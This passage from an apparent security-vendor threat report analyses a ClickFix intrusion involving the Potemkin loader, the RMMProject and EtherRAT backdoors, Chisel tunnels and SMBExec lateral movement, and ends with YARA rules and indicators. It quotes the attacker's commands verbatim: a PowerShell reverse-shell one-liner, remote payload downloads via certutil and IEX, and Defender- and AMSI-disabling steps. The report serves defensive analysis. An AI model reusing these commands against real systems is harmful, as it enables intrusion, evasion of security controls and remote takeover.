Task 1026 downloads and loads an additional module at runtime. The task configuration provides a base64-encoded PE payload. RMMProject decodes it, then maps it entirely in memory using its own PE loader - the same reflective loading technique Potemkin uses for RMMProject itself. The loader parses PE headers, allocates memory with VirtualAlloc, maps each section, applies relocations, resolves imports via LoadLibraryA / GetProcAddress, registers exception handlers via RtlAddFunctionTable, and calls the module's DllMain entry point. Task 1027 unloads previously loaded modules by calling each module's DllMain with DLL_PROCESS_DETACH and freeing the mapped memory. 

Beyond the beachhead: hands-on-keyboard intrusion and lateral movement

Figure 10: EtherRAT detections in the Huntress Portal


Five hours after the execution of the Potemkin loader, the threat actors dropped a second stage loader. The loader runs from a randomized directory under AppData: C:\Users\username\AppData\Local\KafhCqGLhOS4\. It contains three files. node.exe is a clean, signed Node.js runtime, RlLF3rizah.ini is the loader JavaScript, MseKOytIWeVrP85.xml is the encrypted payload.

Persistence

Persistence lives in the per-user Run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, under a benign-sounding value named WindowsHost. Its content is conhost --headless “<node.exe>”“<RlLF3rizah.ini>”.

At each logon Windows runs that command. conhost.exe, the legitimate Console Window Host, is invoked with --headless, which suppresses the console window so the Node process runs with no visible window. 

The loader doesn't rely on a dropper to stay persistent- it rewrites its own Run key. The registry path and command fragment are base64-encoded in the script: one string decodes to the Run key path, another to conhost --headless, and a third to reg. The loader writes the WindowsHost value via reg.exe, spawned with windowsHide:true so no console window flashes on screen and stdio:”ignore” so the command's output is discarded. The write happens with no visible indication to the user. The /f flag forces the overwrite without a confirmation prompt.

The reg add runs once, near the top of the script, when the loader process starts, not on a loop. So the persistence value is written once per loader process, and in practice that means once per logon, since the Run key is what launches the loader.

For remediation, this means clearing the Run key alone won't hold. The restart loop keeps the loader process and its payload resident, and the next logon relaunches the loader and rewrites the key. Cleanup requires killing the Node processes and deleting all three on-disk artifacts, then removing the Run key.

The dc() function reads MseKOytIWeVrP85.xml and decrypts it into JavaScript with a custom byte cipher. The cipher uses three constants embedded in the loader: a 64-byte subtraction key (k), a 16-byte XOR key (n), and a 256-byte S-box (si). Each ciphertext byte passes through a chained subtraction of the previous byte, an XOR against n and the byte's own index, a substitution through the S-box, and a final subtraction against k. 

Figure 11: The dc() payload-decryption function and the embedded si substitution table


Decrypting MseKOytIWeVrP85.xml with the cipher above yields the payload: EtherRAT, a Node.js backdoor. On startup, EtherRAT derives a hidden install directory under %LOCALAPPDATA%. It takes an MD5 of COMPUTERNAME + USERNAME and uses bytes of that hash to pick folder names from two fixed lists (Microsoft, Windows, Programs, Packages, Google and Services, Components, Assemblies, Extensions, Modules). The path is deterministic per host but looks different on every machine. Configuration is stored there as a base64-encoded JSON blob. 

The RAT also assigns itself a persistent ID. It checks its saved config, then a hidden file named .node_bot_id in %APPDATA%, then any 11-character dot-file (e.g. .a1b2c3d4e5) in that directory, and only generates a fresh UUID if none of those exist. The ID survives restarts, so the operator tracks the same host across reboots. A build identifier, ab653feb-9e78-4578-87ed-2e30329fe858, is hardcoded and sent with C2 traffic. Logging is disabled by default; when enabled it writes to %APPDATA%\svchost.log.

As researchers have previously documented, EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain. The fallback in the code is only hxxp://localhost:3000, a placeholder; the real address comes from a smart contract. The RAT holds a contract address, a second address used as the storage key when building the call data, and a 4-byte function selector. It issues eth_call requests across seven public Ethereum RPC providers: Tenderly, Flashbots, MEV Blocker, BlastAPI, PublicNode, dRPC, and Merkle. Then, it decodes the ABI-encoded string the contract returns and checks that it looks like an http(s) or ws(s) URL.

Example of resolving the live C2 from the EtherHiding contract:

Loading Gist...

The C2 address is held in the contract and returned on each lookup. To move the botnet, the operator sends a single cheap transaction that updates the stored value and every infected host picks up the change on its next poll. The contract used by this sample is 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831, with storage key 0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893. At the time of analysis the contract returned the live C2 hxxps://resumeacceptable[.]com. Once it has a C2 URL, EtherRAT enters an endless polling loop. Each request goes to a freshly randomized URL of the form /api/<random>/<botID>/<random>.<ext>, where the extension is chosen from png, jpg, gif, css, ico, or webp and a random query parameter is appended from id, token, key, b, q, s, or v, so each poll looks like a request for a static image or stylesheet. 

Figure 12: Snippet of decrypted EtherRAT

Cloudflare tunnel (Patient 0)

Shortly after EtherRAT was established, the threat actor used it to deliver a Cloudflare tunnel. The Cloudflare cloudflared client, renamed to svchost.exe to pose as a Windows process, opens a Cloudflare quick tunnel that exposes a local service on 127.0.0.1:31024 to a public Cloudflare hostname, giving the attacker internet-reachable access to that internal service without opening any firewall port. It writes operational logs to cloudflared_tunnel.log in the same Temp folder, which record the assigned public tunnel hostname and connection activity:

C:\Users\username\AppData\Local\Temp\cloudflared\svchost.exe tunnel --url http://127.0.0.1:31024 --protocol http2 --no-autoupdate --edge-ip-version auto --loglevel info --logfile C:\Users\usernam\AppData\Local\Temp\cloudflared_tunnel.log

Figure 13: Log output (cloudflared_tunnel.log) from the renamed cloudflared client showing failed attempts to reach Cloudflare's edge, repeated DialContext errors connecting to Cloudflare edge IPs (198.41.200[.]63, 198.41.192[.]77) on port 7844 

The part where a human shows up

In the early hours of the attack, we observed WMIExec recon against one of the endpoints, which Defender flagged and blocked. The command cmd.exe /Q /c whoami /groups | findstr /i admin 1> \Windows\Temp\DqNtxC 2>&1 carries the redirect signature commonly associated with Impacket, where output is written to \Windows\Temp\<8 chars>. Alongside this, the attacker leveraged WMI and SMB for remote command execution, which strongly suggested the Administrator credentials had already been compromised earlier in the intrusion. This turned out to be the first visible move in what we'd eventually track across the 11 unique hosts, a footprint that became progressively clearer as the customer onboarded additional endpoints to the Huntress agent throughout the engagement. Each new enrollment effectively turned the lights on in another room of the house, and what we saw confirmed that the operator had been working through the network for some time before we had telemetry to watch them with.

On one of the affected servers, the activity shifted into hands-on-keyboard work over WinRM, originating from an internal workstation already under the attacker's control. WinRM Event ID 91 logged a cmd shell created as DOMAIN\Administrator on the target host, confirming the attacker had connected interactively with the compromised credentials. Shortly after, the first malicious PowerShell hit disk in the form of powershell -nop -ep bypass -w hidden -f C:\Windows\Temp\D0OK1nWwId9W.ps1. Based on the follow-up activity, we assess the PowerShell content to be the following:

Loading Gist...

What followed was one of the more entertaining stretches of the case, where the attacker's all-in-one opening move ran straight into Windows Defender. The script was designed to patch AMSI in the current process by walking [Ref].Assembly to find the AmsiUtils class, locate the amsiContext field, and overwrite it with 0x80070057 (E_INVALIDARG) so any subsequent script content would bypass AMSI scanning; write Defender registry policies (DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring) to neuter the engine through policy; and then pull the Chisel binary from hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe and reflectively load it in memory via [Reflection.Assembly]::Load, invoking the entry point with the ek_user client arguments to establish a reverse SOCKS tunnel to 213.165.41[.]26:22603. 

It didn't work cleanly. The AMSI patch handled the PowerShell layer fine, but Defender's on-disk and in-memory scanning kept catching the Chisel binary. The first launch via Start-ProcessC:\Windows\Temp\lQhEQui9a4lZ.exe -ArgumentList @('client','--auth','ek_user:S6YS0r55wH4U8Maa8joG','213.165.41[.]26:22603','R:47186:socks') was quarantined immediately. 

The attacker re-staged the binary using certutil (certutil -urlcache -split -f hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe) and Defender quarantined it again. The opening script's policy writes had set the right registry values, but Defender's runtime scanning was still very much alive, and Chisel was a signatured binary it knew how to catch regardless of how the attacker tried to land it.

After enough cycles of this, the attacker eventually succeeded in adding C:\ProgramData\p as an exclusion path, which gave them a persistent staging directory free from inspection. From there, they attempted a reflective in-memory load of Chisel using [Byte[]]$b=(New-Object Net.WebClient).DownloadData('hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe'); [Reflection.Assembly]::Load($b).EntryPoint.Invoke(...), though Defender still managed to flag the bundled Costura main.dll. The attacker then iterated through several payload variants out of their newly-protected staging directory, each one a different combination of the same building blocks. J6Gupb9TpYNI.ps1 wrote the Defender registry policies and then downloaded Chisel to disk inside the exclusion folder before launching it hidden, O67tak2KFRmJ.ps1 stripped everything down to a minimal in-memory reflective load, and fsjH6IHuUkhh.ps1 was a near-duplicate of the original opening script (AMSI patch plus Defender policy writes plus reflective load) - just re-run from the protected directory. None of them got Chisel cleanly past Defender, so the attacker eventually gave up on a bypass and stopped the Defender service outright with Stop-Service WinDefend -Force; sc.exe config WinDefend start= disabled; sc.exe stop WinDefend. They confirmed the kill via (Get-MpComputerStatus).RealTimeProtectionEnabled, which is commonly run by attackers to check if Defender is active or if the coast is clear. This is the kind of small touch that tells you a human is at the keyboard. 

Content of O67tak2KFRmJ.ps1:

Loading Gist...

With Defender out of the way, the operator ran additional reconnaissance, executing the same checks twice. They pulled InstalledUICulture, Win32_VideoController, SecurityCenter2 AntivirusProduct, Win32_ComputerSystem.Domain, and Win32_ComputerSystem.PartOfDomain. They also went looking for ScreenConnect or ConnectWise installations using Get-WmiObject Win32_Product | Where-Object { $_.Name -like *cons* }, which is a common precursor to abusing RMM software for follow-on access.

Persistence followed quickly. The first mechanism was a scheduled task to retrieve and execute EtherRAT called msiInstall2, created with schtasks /create /tn msiInstall2 /tr "msiexec.exe /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart /l*v C:\ProgramData\p\msi.log" /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn msiInstall2, which Defender quarantined from C:\Windows\System32\Tasks\msiInstall2. The attacker then established a second scheduled task named ekShell2 pointing at C:\ProgramData\p\yH88LG8yCOnU.ps1. The script is a reverse shell, a loop that opened a TCP connection to 77.110.122[.]58:43301, spawned a hidden powershell.exe -nop -ep bypass child process, and bridged the socket to the process's standard input, output, and error streams. Commands read off the wire got piped into PowerShell's stdin, and output and error streams got read back through a 4 KB buffer and written out to the socket. If the connection ever dropped or the PowerShell child exited, the script slept 30 seconds and reconnected. 

Content of yH88LG8yCOnU.ps1:

Loading Gist...

Later in the same session on this host, the attacker pulled out the heavyweight Defender disable. They first ran ek_disable_av.ps1, a quick policy-and-service kill that wrote the standard DisableAntiSpyware / DisableRealtimeMonitoring / DisableIOAVProtection / DisableBehaviorMonitoring / DisableOnAccessProtection registry values, then stopped and disabled the WinDefend service. 

Content of ek_disable_av.ps1:

Loading Gist...

When that wasn't enough, they followed up with ek_kill_av.ps1, a more comprehensive script that layered three different disable techniques on top of each other: the full set of Defender registry policies (this version adding DisableAntiVirus, DisableScanOnRealtimeEnable, and DisableScriptScanning), the runtime Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -MAPSReporting Disabled -SubmitSamplesConsent NeverSend toggles, and direct service kills of WinDefend, wscsvc (Windows Security Center), and SecurityHealthService via both Stop-Service and sc.exe. The redundancy is the point: anywhere Defender or its supporting services could come back up, the script slammed the door from a different direction. 

Content of ek_kill_av.ps1:

Loading Gist...

They then ran ek_full.ps1, which performed the same registry-based Defender disable, slept five seconds to let the changes settle, and called msiexec /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart. This is the MSI that drops EtherRAT, and we saw the loader land on this host shortly after, with the now-familiar conhost --headless wrapping a clean Node.js runtime against an encoded .ini payload: conhost --headless “C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe” “C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\EkYqfsgfyz.ini”. Persistence was registered under the user Run key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate, masquerading as a benign Edge auto-updater entry. This is the same EtherRAT loader pattern that ended up across the rest of the network through the lateral SMBExec spray, with the same EdgeUpdate Run key fingerprint on every host where the MSI landed. The only difference here was the delivery path: the attacker had the hands-on-keyboard foothold on this server and could run the MSI installer directly, rather than relying on SMBExec to push it onto a remote host. 

Content of ek_full.ps1:

Loading Gist...

After landing the MSI, they staged second-wave activity from a new C2 port using IEX(New-Object Net.WebClient).DownloadString("hxxp://77.110.122[.]58:44479/bjxxUmG8K3uy.ps1"), and redeployed Chisel with a new authentication string. The first attempt ran Chisel as client 77.110.122[.]58:24954 R:socks with no auth at all, and shortly after they re-ran it with client --auth z9zkKCom6W2A3ptu6NXKYAK8:z9zkKCom6W2A3ptu6NXKYAK8 77.110.122[.]58:24954 R:socks. 

The picture on the domain controller looked different. The attacker reached it over WMIExec using both a compromised user account and the domain Administrator, dropping encoded PowerShell loaders that pulled eCJam6D193GE.ps1 and RtPnuIz7RwPU.ps1 from 77.110.122[.]58:44479. From there they switched to SMBExec, falling back into the same pattern we saw previously: a SYSTEM-context cmd.exe would write a payload into a batch file under C:\Windows\TEMP\, run it, and delete it in one chained command. The first thing they ran through this wrapper was a simple whoami redirected to \\<redacted>\C$\HOghqs, just a sanity check that the channel worked. The next thing was a persistent PowerShell reverse shell pointed at 77.110.122[.]58:18696, staged through the same SMBExec wrapper:

C:\Windows\system32\cmd.exe /Q /c echo powershell -w hidden -nop -c "while($true){try{$c=New-Object Net.Sockets.TCPClient(\"77.110.122[.]58\",18696);$s=$c.GetStream();$w=New-Object IO.StreamWriter($s);$w.AutoFlush=$true;$r=New-Object IO.StreamReader($s);while($c.Connected){$w.Write(\"PS> \");$l=$r.ReadLine();if($l -eq \"exit\"){break};try{$o=(iex $l 2>&1|Out-String);$w.Write($o)}catch{$w.Write($_.ToString())}}}catch{Start-Sleep 10}}" ^> \\WHCAD\C$\dYWxOl 2^>^&1 > C:\Windows\TEMP\IHYLqc.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\IHYLqc.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\IHYLqc.bat. 

The PowerShell loop above opens a TCP socket to the attacker's C2, writes a PS> prompt over the wire so the operator sees an interactive shell feel on their end, reads commands line-by-line from the socket, executes each one through Invoke-Expression (with stderr redirected back through the same channel via 2>&1), and writes the output back over the socket. The outer while($true) and catch{Start-Sleep 10} keep it alive: if the C2 is unreachable, it sleeps 10 seconds and retries; if an active connection drops mid-session, it reconnects immediately.

The DC also picked up the EtherRAT loader in both contexts. The Node.js loader landed under C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe running as the domain Administrator, and again under C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe running as SYSTEM. Both pointed at the same encoded .ini payload at EkYqfsgfyz.ini, both persisted via the EdgeUpdate Run key, and both wrapped in conhost --headless.

From here, the attacker shifted from one-off WinRM and WMIExec sessions into bulk lateral movement via SMBExec. The pattern was unmistakable: a SYSTEM-context cmd.exe would echo a command into a randomly-named batch file under C:\Windows\TEMP\, execute it, and immediately delete it, all wrapped in a single command line like C:\Windows\system32\cmd.exe /Q /c echo cmd /c msiexec /i \\77.110.122[.]58\ADMIN$\Temp\EGGjVyW9Uloz.msi /qn ^> \\<HOST>\C$\<8chars> 2^>^&1 > C:\Windows\TEMP\<6chars>.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\<6chars>.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\<6chars>.bat. The echo-to-bat-then-delete signature, combined with output redirection back to \\<HOST>\C$\<8chars>, is Impacket's smbexec.py behaving exactly as documented. The payload in every case was the same MSI, EGGjVyW9Uloz.msi, pulled from the attacker's own ADMIN$\Temp share on 77.110.122[.]58. 

Unfortunately, we weren't able to retrieve EGGjVyW9Uloz.msi itself, so the contents and exact execution chain remain unconfirmed. What we did observe, on several of the hosts touched during the lateral spread, was a Node.js loader staged into C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe, configured to execute against an encoded .ini payload at C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\EkYqfsgfyz.ini. Persistence was set via a Run key named EdgeUpdate and execution was wrapped in conhost --headless. This is the same EtherRAT loader pattern we documented on patient zero, just with a different folder name, .ini filename, and Run key value (EdgeUpdate instead of WindowsHost). The structural fingerprint of the loader, a clean signed node.exe paired with an encrypted .ini payload and persistence via a benign-sounding Run key, was identical wherever it landed. Whether the MSI dropped EtherRAT directly or went through an intermediate stage we couldn't recover, the end state on the affected hosts was the same family we'd already seen on patient zero.

All of this activity unfolded before the Huntress agent was officially installed on the affected endpoints. Once the agent service was running and telemetry began flowing in, the Huntress SOC was able to lock the system down and begin remediation.

Conclusion

This case illustrates what happens when a ClickFix infection goes undetected. What started as a single user running a pasted command escalated into a multi-stage intrusion involving two custom malware families, a blockchain-resolved backdoor, and hands-on lateral movement across over 11 hosts.

Potemkin handled delivery - a minimal loader whose only job was to fetch and reflectively load a module from the C2. RMMProject handled operations - a Lua-scriptable framework with browser theft, remote desktop, process injection, and runtime module loading. EtherRAT handled resilience - a blockchain-anchored backdoor that could survive domain takedowns. A renamed Cloudflare tunnel gave the attacker persistent remote access to the internal network. And the hands-on-keyboard work handled expansion - WMIExec and SMBExec to push the MSI installer across the network, scheduled tasks and Run keys for persistence, and Chisel tunnels for SOCKS proxy access.

The attacker likely had hours of unobserved access to establish Potemkin, deploy EtherRAT, set up a Cloudflare tunnel, and begin lateral movement, all before telemetry existed to detect any of it. Once the Huntress agent was installed and visibility came online, the SOC was able to lock things down, but the damage window was entirely determined by how long that initial endpoint went unwatched.

Consider what remediation looks like once an intrusion like this has had time to spread. Across over 11 hosts, the analyst is now hunting for Run keys under multiple user profiles and SYSTEM context, scheduled tasks with randomized names, Defender exclusion paths and registry policy overrides, Cloudflare tunnel binaries renamed to blend in with Windows processes, EtherRAT loaders with per-host randomized directory names, and a blockchain-resolved C2. Every host needs to be individually swept because the persistence artifacts vary - different folder names, different .ini filenames, different Run key values.

That's the cost of a late start. An endpoint agent on that first machine catches the ClickFix payload at execution, before any of this sprawl exists, and the remediation is one host instead of eleven. Coverage gaps are not theoretical risks, they are the room attackers need to turn a single ClickFix prompt into a network-wide compromise and the difference between a one-hour cleanup and a week-long engagement. 

Recommendation

  • The single most impactful thing that could have changed the outcome of this case was monitoring the endpoint where it started. The attacker likely had hours of uncontested access on an unmonitored machine before telemetry existed anywhere in the environment. Audit your fleet for gaps - workstations, servers, and any machine with network access should have an endpoint agent. 

  • The attacker renamed cloudflared to svchost.exe and used a quick tunnel to expose an internal service to the internet. Alert on cloudflared or renamed copies of it running. 

  • The most direct mitigation is disabling the Windows Run dialog via Group Policy, which also disables the Win+R hotkey. ClickFix attacks depend on the user pasting a command into this dialog - if it doesn't open, the attack fails at step one. 

  • Use tamper protection where available, and monitor for Stop-Service WinDefend, sc.exe config WinDefend start= disabled, and bulk Add-MpPreference -ExclusionPath commands as high-fidelity alerts. 

Detection

Yara

Potemkin loader:

rule PotemkinLoader {
   meta:
       
       author = "RussianPanda"

       description = "Detects Potemkin Loader"

       date = "6/4/2026"

       hash =
"2abe5dd3a057fdef935722e50e               
       9251c272d29fd26113187b853a1f9a9cb89d9b"

   strings:
       $s1 = "[Agent] DLL returned (updatedll), reloading..."             ascii       

       $s2 = "dll_debug.log" ascii

       $s3 = "[Agent] LoadAndRunDLL=" ascii

   condition:
       uint16(0) == 0x5A4D and all of ($s*)

}


RMMProject:

rule RMMProject {
   meta:
       author = "RussianPanda"
       description = "Detects RMMProject RAT"
       date = "6/4/2026"
       hash = "3b7ae925e2d64522b4f69b56285b0
               5aeca8c5aab5ab46a9c02c4fafb69d881ce "
   strings:
       $s1 = "[RTSC] OpenInputSocket: sending session_id=" ascii
       $s2 = "kCookies: total_cookies=" ascii
       $s3 = "GetChromiumKey" ascii
  condition:
       uint16(0) == 0x5A4D and all of ($s*)
}

Indicators of Compromise (IoCs)

Indicator

Description

RunSearch.exe

SHA256: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b

Potemkin Loader

avast_update.bin 

SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce 

RMMProject 

ABE helper DLL 

SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145 

DLL embedded inside RMMProject. Injected into a spawned Chrome/Edge process to decrypt App-Bound Encryption cookie keys via Chrome's IElevator COM interface. 

inst24.msi

SHA256: 79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b

MSI installer that drops Potemkin loader

cons_1.0.1.msi

SHA256: 2ada24dd6e517f37942b749c2bd57ddd97445e9853002cee70a0bc30d0b0ce3a

Delivers EtherRAT 

77.110.122[.]58

Primary C2 / staging

213.165.41[.]26

Chisel reverse SOCKS server

C:\Windows\Temp\D0OK1nWwId9W.ps1

First malicious PS dropped (content unrecovered)

C:\Windows\Temp\lQhEQui9a4lZ.exe

Chisel client 

C:\ProgramData\p\O67tak2KFRmJ.ps1

In-memory reflective loader

C:\ProgramData\p\J6Gupb9TpYNI.ps1

PowerShell script to download the Chisel client

C:\ProgramData\p\fsjH6IHuUkhh.ps1

AMSI bypass + Defender registry policy disable + reflective Chisel load

C:\ProgramData\p\ek_full.ps1

Registry-based Defender disable script

C:\ProgramData\p\ek_kill_av.ps1

Defender kill: registry policies, Set-MpPreference toggles, and direct service stops of WinDefend, wscsvc, and SecurityHealthService.

C:\ProgramData\p\ek_disable_av.ps1

Defender disable script

C:\ProgramData\p\yH88LG8yCOnU.ps1

Reverse shell: loops a TCP connection to 77.110.122[.]58:43301, bridges it to a hidden powershell.exe process, and reconnects every 30 seconds if the connection drops.

0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 

Ethereum contract 

0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893 

Storage key 

ab653feb-9e78-4578-87ed-2e30329fe858 

EtherRAT build ID

sonra.eutialyson[.]com

MSI download domain 

cl.distritovagas[.]com 

ClickFix HTA domain 

anus-staylard[.]xyz 

C2 domain for Potemkin and RMMProject

resumeacceptable[.]com 

EtherRAT C2 resolved from blockchain 

%LOCALAPPDATA%\hyper-v.ver 

Potemkin UUID file

%TEMP%\dll_debug.log

Potemkin debug log 


Categories
Threat Analysis
ChatGPT logoChatGPTOpens in new tabClaude logoClaudeOpens in new tabPerplexity logoPerplexityOpens in new tabGoogle Gemini logoGoogle AIOpens in new tab
AI sparkle iconSummarize This Page
ChatGPT logoChatGPTOpens in new tabClaude logoClaudeOpens in new tabPerplexity logoPerplexityOpens in new tabGoogle Gemini logoGoogle AIOpens in new tab
How do cybercriminals end up in handcuffs?
On July 28, join John Hammond for a special episode of _declassified and get a rare glimpse into a state-backed hacking campaign that turned into a rare win for defenders.
Grab your spot
Share
Facebook iconTwitter X iconLinkedin iconDownload icon
Glitch effect

You Might Also Like

  • The Identity Breach You Didn’t Know You Had: Google Workspace

    Most Google Workspace breaches go undetected for weeks. See how attackers exploit misconfigured permissions and what to look for before it is too late.
  • Ask the Mac Guy: Best Practices for Securing Macs

    Tips from a Mac expert. Discover the best practices users and administrators can use to secure your Mac devices or your Mac fleet.
  • Identity: The Third Phase of Security Operations

    We’ve entered the era of identity security. Are you ready? Explore how to counter evolving threats and protect identities with confidence.
  • How To Speak To SMBs About Cybersecurity

    Need help approaching the security sales conversation? Use these tips to walk into your next client meeting armed with points for selling cybersecurity.
  • BlackCat Ransomware Affiliate TTPs

    This blog post provides a detailed look at the TTPs of a ransomware affiliate operator. In this case, the endpoint had been moved to another infrastructure (as illustrated by various command lines, and confirmed by the partner), so while Huntress SOC analysts reported the activity to the partner, no Huntress customer was impacted by the ransomware deployment.
  • Phishing, Office 365 and the Commercialization of Cybercrime

    Hackers getting better at their tradecraft and their skills are becoming more and more accessible to other bad actors via the Dark Web.
  • How OAuth 2.0 Device Code Phishing Works in Azure and Google

    All OAuth 2.0 implementations are equal. Some are just more equal than others. This blog covers device code phishing and compares OAuth implementations between Google and Azure. Does OAuth implementation impact the efficacy of hacker tradecraft? Find out here!
  • 9 Pro Tips for Better Endpoint Security

    Secure endpoints are critical to your cyber defenses. Here’s a list of endpoint security tips every IT and security professional should know.

Sign Up for Huntress Updates

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
Privacy • Terms
By submitting this form, you accept our Terms of Service & Privacy Policy
Huntress Managed Security PlatformManaged EDRManaged EDR for macOSManaged EDR for LinuxManaged ITDRManaged SIEMManaged Security Awareness TrainingManaged ISPMManaged ESPMBook a Demo
PhishingComplianceBusiness Email CompromiseEducationFinanceHealthcareManufacturingState & Local Government
Managed Service ProvidersResellersIT & Security Teams24/7 SOCCase Studies
BlogResource CenterCybersecurity 101Upcoming EventsSupport Documentation
Our CompanyLeadershipNews & PressCareersContact Us
Huntress white logo

Protecting 250k+ customers like you with enterprise-grade protection.

Privacy PolicyCookie PolicyTerms of UseCookie Consent
Linkedin iconTwitter X iconYouTube iconInstagram icon
© 2025 Huntress All Rights Reserved.

Join the Hunt

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

By submitting this form, you accept our Terms of Service & Privacy Policy